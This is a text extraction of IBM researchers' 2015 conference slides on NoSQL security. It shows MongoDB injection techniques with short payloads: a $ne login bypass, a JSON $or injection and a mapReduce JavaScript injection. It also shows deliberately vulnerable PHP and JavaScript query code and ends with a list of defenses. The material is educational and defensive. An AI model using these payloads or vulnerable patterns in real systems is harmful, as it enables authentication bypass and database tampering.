no sql! no injection? · 2015 ibm corporation 2© aviv ron security researcher for ibm cyber...

29
© 2015 IBM Corporation A talk on the state of NoSQL security IBM Cyber Security Center of Excellence Aviv Ron Alexandra Shulman-Peleg Anton Puzanov No SQL! no injection?

Upload: others

Post on 25-Jul-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

© 2015 IBM Corporation

A talk on the state of NoSQL security

IBM Cyber Security Center of Excellence

Aviv Ron

Alexandra Shulman-Peleg

Anton Puzanov

No SQL! no injection?

Page 2: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

2 © 2015 IBM Corporation

Aviv Ron

Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva

@aviv_ron

Focus on Application Security in the cloud

Ongoing research on new and emerging application vulnerabilities

for IBM AppScan, Application Security Testing

Joined IBM at 2014, prior with Intel for 9 years

dressed up as

a security

researcher

when I’m not a

security

researcher

Page 3: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

3 © 2015 IBM Corporation

Page 4: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

4 © 2015 IBM Corporation

Who doesn’t know “Little Bobby Tables”

http://xkcd.com/327/

Page 5: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

5 © 2015 IBM Corporation

Fast forward to 2015

Page 6: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

6 © 2015 IBM Corporation

Not only SQL

According to http://db-engines.com

Page 7: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

7 © 2015 IBM Corporation

Applications of NoSQL

PERFORMANCE SCALABILITY FLEXIBILITY

REAL TIME WEB BIG DATA

Images are under Creative Commons license and are attributed to their creators

Page 8: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

8 © 2015 IBM Corporation

It’s not that relational databases are bad

We are just saying tables are not the solution

for EVERYTHING

Page 9: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

9 © 2015 IBM Corporation

SO… no sql, no worries?

Page 10: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

10 © 2015 IBM Corporation

Not really…

Introducing NoSQL Injections

Page 11: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

11 © 2015 IBM Corporation

A look at mongodb

db.books.insert({ title: ‘The Hobbit’, author: ‘J.R.R. Tolkien’ })

db.books.find({ title: ‘The Hobbit’, author: ‘J.R.R. Tolkien’ })

array(‘title’ => ‘The hobbit’, ‘author’ => ‘J.R.R. Tolkien’);

Page 12: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

12 © 2015 IBM Corporation

Login

Username:

Password:

username=tolkien&password=hobbit

db->logins->find(array( “username”=>$_POST[“username”], “password”=>$_POST[“password”]));

{ username: ‘tolkien’, password: ‘hobbit’ }

Page 13: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

13 © 2015 IBM Corporation

Login

Username:

Password:

username[$ne]=1&password[$ne]=1

db->logins->find( array(“username”=>array(“$ne” => 1), “password”=> array(“$ne” => 1));

{ username: { $ne: 1 }, password: { $ne: 1 } }

Login

Username:

Password:

Page 14: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

14 © 2015 IBM Corporation

PHP Parameter pollution

db->logins->find(

array( =>”function() { return this.price < 100 }”)); “$where”

Page 15: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

15 © 2015 IBM Corporation

PHP Parameter pollution

From PHP documentation:

“Please make sure that for all special

query operators (starting with $) you use

single quotes so that PHP doesn't try to

replace "$exists" with the value of the

variable $exists.”

db->logins->find(

array(“$where”=>”function() { return this.price < 100 }”));

Page 16: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

16 © 2015 IBM Corporation

Not only in php let’s take a look at JavaScript

Page 17: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

17 © 2015 IBM Corporation

Login

Username:

Password:

username=tolkien&password=hobbit

string query = “{ username: ‘“ + post_username + “’, password: ‘” + post_password + “’ }”

{ username: ‘tolkien’, password: ‘hobbit’ }

Login

Username:

Password:

Page 18: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

18 © 2015 IBM Corporation

Login

Username:

Password:

username=tolkien’, $or: [ {}, { ‘a’:’a&password=’ } ], $comment:’hacked’

string query = “{ username: ‘“ + post_username + “’, password: ‘” + post_password + “’ }”

{ username: ‘tolkien’, $or: [ {}, { ‘a’: ‘a’, password: ‘’ } ], $comment: ‘hacked’ }

Login

Username:

Password:

Page 19: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

19 © 2015 IBM Corporation

NoSQL Javascript Injection

Page 20: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

20 © 2015 IBM Corporation

Mongodb map reduce

$map = "function() { for (var i = 0; i < this.items.length; i++) { emit(this.name, this.items[i]. ); } }"; $reduce = "function(name, sum) { return Array.sum(sum); }"; $opt = "{ out: 'totals' }"; $db->execute("db.stores.mapReduce($map, $reduce, $opt);");

$param

a

Page 21: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

21 © 2015 IBM Corporation

Attack on map reduce javascript

a);}},function(kv) { return 1; }, { out: 'x' });db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1

Page 22: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

22 © 2015 IBM Corporation

a);}},function(kv) { return 1; }, { out: 'x' });db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1

db.stores.mapReduce(function() { for (var i = 0; i < this.items.length; i++) { emit(this.name, this.items[i].a); } },function(kv) { return 1; }, { out: 'x' }); db.injection.insert({success:1}); return 1;db.stores.mapReduce(function() { { emit(1,1); } }, function(name, sum) { return Array.sum(sum); }, { out: 'totals' });"

Attack on map reduce javascript

Page 23: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

23 © 2015 IBM Corporation

Now – let’s Have some REST

Page 24: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

24 © 2015 IBM Corporation

CSRF attack on NoSQL REST API

Page 25: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

25 © 2015 IBM Corporation

CSRF attack on NoSQL REST API

Page 26: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

26 © 2015 IBM Corporation

Beware of third party API’s

Page 27: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

27 © 2015 IBM Corporation

Defending against risks

Page 28: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

28 © 2015 IBM Corporation

Defenses

– Injections

• Sanitize all user input – do not assemble JSON from strings

• If possible disable Javascript execution on DB

else be careful when inserting user input to javascript

• Beware of $ operators in PHP

– CSRF

• Check your HTTP API framework for CSRF protection

(NO JSONP, use of random token)

– General

• Use automatic tools for application security testing that cover NoSQL vulnerabilities

such as IBM AppScan

• Use of role based access control and the principal of least privilege

NoSQL databases suffer from the same security issues their

relational siblings do

Page 29: No SQL! no injection? · 2015 IBM Corporation 2© Aviv Ron Security Researcher for IBM Cyber Security Center of Excellence at Beer Sheva @aviv_ron Focus on Application Security in

29 © 2015 IBM Corporation

Thank you for attending!